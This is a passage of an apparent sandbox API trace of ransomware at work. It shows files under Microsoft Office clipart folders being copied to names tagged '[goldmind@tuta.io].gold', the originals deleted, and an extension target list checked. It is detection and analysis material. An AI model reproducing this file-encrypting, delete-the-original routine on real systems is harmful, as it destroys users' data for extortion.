Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0100.053] GetLastError () returned 0x0 [0100.053] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4e8, lpOverlapped=0x0) returned 1 [0100.054] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4f0, lpOverlapped=0x0) returned 1 [0100.055] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.055] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.055] SetEndOfFile (hFile=0x364) returned 1 [0100.055] CloseHandle (hObject=0x364) returned 1 [0100.055] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.055] SetEndOfFile (hFile=0x198) returned 1 [0100.057] CloseHandle (hObject=0x198) returned 1 [0100.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0100.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.058] lstrlenW (lpString=".doc") returned 4 [0100.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.058] lstrlenW (lpString=".docx") returned 5 [0100.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.058] lstrlenW (lpString=".pdf") returned 4 [0100.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.058] lstrlenW (lpString=".xls") returned 4 [0100.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.058] lstrlenW (lpString=".xlsx") returned 5 [0100.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.058] lstrlenW (lpString=".ppt") returned 4 [0100.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.058] lstrlenW (lpString=".zip") returned 4 [0100.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.058] lstrlenW (lpString=".rar") returned 4 [0100.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.058] lstrlenW (lpString=".bz2") returned 4 [0100.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.058] lstrlenW (lpString=".7z") returned 3 [0100.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.058] lstrlenW (lpString=".dbf") returned 4 [0100.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.058] lstrlenW (lpString=".1cd") returned 4 [0100.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.058] lstrlenW (lpString=".jpg") returned 4 [0100.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.058] lstrlenW (lpString=".doc") returned 4 [0100.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.058] lstrlenW (lpString=".docx") returned 5 [0100.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.058] lstrlenW (lpString=".pdf") returned 4 [0100.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.058] lstrlenW (lpString=".xls") returned 4 [0100.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.058] lstrlenW (lpString=".xlsx") returned 5 [0100.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.058] lstrlenW (lpString=".ppt") returned 4 [0100.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.058] lstrlenW (lpString=".zip") returned 4 [0100.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.059] lstrlenW (lpString=".rar") returned 4 [0100.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.059] lstrlenW (lpString=".bz2") returned 4 [0100.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.059] lstrlenW (lpString=".7z") returned 3 [0100.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.059] lstrlenW (lpString=".dbf") returned 4 [0100.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.059] lstrlenW (lpString=".1cd") returned 4 [0100.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 63 [0100.059] lstrlenW (lpString=".jpg") returned 4 [0100.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.059] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0100.059] lstrlenW (lpString="IN00957_.WMF") returned 12 [0100.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0100.059] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2944) returned 1 [0100.059] CloseHandle (hObject=0x198) returned 1 [0100.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 0x20 [0100.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0100.060] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.060] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0100.060] GetLastError () returned 0x0 [0100.060] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xb80, lpOverlapped=0x0) returned 1 [0100.062] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xb90, lpOverlapped=0x0) returned 1 [0100.062] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.062] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.062] SetEndOfFile (hFile=0x364) returned 1 [0100.063] CloseHandle (hObject=0x364) returned 1 [0100.063] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.063] SetEndOfFile (hFile=0x198) returned 1 [0100.065] CloseHandle (hObject=0x198) returned 1 [0100.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0100.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.066] lstrlenW (lpString=".doc") returned 4 [0100.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.066] lstrlenW (lpString=".docx") returned 5 [0100.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.066] lstrlenW (lpString=".pdf") returned 4 [0100.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.066] lstrlenW (lpString=".xls") returned 4 [0100.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.066] lstrlenW (lpString=".xlsx") returned 5 [0100.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.066] lstrlenW (lpString=".ppt") returned 4 [0100.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.066] lstrlenW (lpString=".zip") returned 4 [0100.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.066] lstrlenW (lpString=".rar") returned 4 [0100.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.066] lstrlenW (lpString=".bz2") returned 4 [0100.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.066] lstrlenW (lpString=".7z") returned 3 [0100.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.066] lstrlenW (lpString=".dbf") returned 4 [0100.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.066] lstrlenW (lpString=".1cd") returned 4 [0100.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.066] lstrlenW (lpString=".jpg") returned 4 [0100.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.066] lstrlenW (lpString=".doc") returned 4 [0100.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.066] lstrlenW (lpString=".docx") returned 5 [0100.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.067] lstrlenW (lpString=".pdf") returned 4 [0100.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.067] lstrlenW (lpString=".xls") returned 4 [0100.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.067] lstrlenW (lpString=".xlsx") returned 5 [0100.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.067] lstrlenW (lpString=".ppt") returned 4 [0100.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.067] lstrlenW (lpString=".zip") returned 4 [0100.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.067] lstrlenW (lpString=".rar") returned 4 [0100.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.067] lstrlenW (lpString=".bz2") returned 4 [0100.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.067] lstrlenW (lpString=".7z") returned 3 [0100.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.067] lstrlenW (lpString=".dbf") returned 4 [0100.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.067] lstrlenW (lpString=".1cd") returned 4 [0100.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0100.067] lstrlenW (lpString=".jpg") returned 4 [0100.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.067] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0100.067] lstrlenW (lpString="J0075478.GIF") returned 12 [0100.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0100.275] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1220) returned 1 [0100.275] CloseHandle (hObject=0x3ac) returned 1 [0100.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 0x20 [0100.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0100.994] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.994] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0101.005] GetLastError () returned 0x0 [0101.005] ReadFile (in: hFile=0x3a8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4c4, lpOverlapped=0x0) returned 1 [0101.046] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0101.046] ReadFile (in: hFile=0x3a8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.046] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.046] SetEndOfFile (hFile=0x364) returned 1 [0101.046] CloseHandle (hObject=0x364) returned 1 [0101.046] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.047] SetEndOfFile (hFile=0x3a8) returned 1 [0101.048] CloseHandle (hObject=0x3a8) returned 1 [0101.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0101.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.049] lstrlenW (lpString=".doc") returned 4 [0101.049] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0101.049] lstrlenW (lpString=".docx") returned 5 [0101.049] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0101.049] lstrlenW (lpString=".pdf") returned 4 [0101.049] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0101.049] lstrlenW (lpString=".xls") returned 4 [0101.049] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0101.049] lstrlenW (lpString=".xlsx") returned 5 [0101.049] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0101.049] lstrlenW (lpString=".ppt") returned 4 [0101.049] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0101.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.049] lstrlenW (lpString=".zip") returned 4 [0101.049] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0101.049] lstrlenW (lpString=".rar") returned 4 [0101.049] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0101.049] lstrlenW (lpString=".bz2") returned 4 [0101.049] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0101.049] lstrlenW (lpString=".7z") returned 3 [0101.049] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0101.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.049] lstrlenW (lpString=".dbf") returned 4 [0101.049] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0101.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.049] lstrlenW (lpString=".1cd") returned 4 [0101.049] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0101.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.049] lstrlenW (lpString=".jpg") returned 4 [0101.049] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0101.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.050] lstrlenW (lpString=".doc") returned 4 [0101.050] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0101.050] lstrlenW (lpString=".docx") returned 5 [0101.050] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0101.050] lstrlenW (lpString=".pdf") returned 4 [0101.050] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0101.050] lstrlenW (lpString=".xls") returned 4 [0101.050] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0101.050] lstrlenW (lpString=".xlsx") returned 5 [0101.050] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0101.050] lstrlenW (lpString=".ppt") returned 4 [0101.050] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0101.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.050] lstrlenW (lpString=".zip") returned 4 [0101.050] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0101.050] lstrlenW (lpString=".rar") returned 4 [0101.050] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0101.050] lstrlenW (lpString=".bz2") returned 4 [0101.050] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0101.050] lstrlenW (lpString=".7z") returned 3 [0101.050] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0101.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.050] lstrlenW (lpString=".dbf") returned 4 [0101.050] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0101.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.050] lstrlenW (lpString=".1cd") returned 4 [0101.050] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0101.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0101.050] lstrlenW (lpString=".jpg") returned 4 [0101.050] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0101.050] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.050] lstrlenW (lpString="J0090087.WMF") returned 12 [0101.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.051] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=46936) returned 1 [0101.051] CloseHandle (hObject=0x3a8) returned 1 [0101.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 0x20 [0101.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.051] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.051] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0101.052] GetLastError () returned 0x0 [0101.052] ReadFile (in: hFile=0x3a8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xb758, lpOverlapped=0x0) returned 1 [0101.093] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xb760, 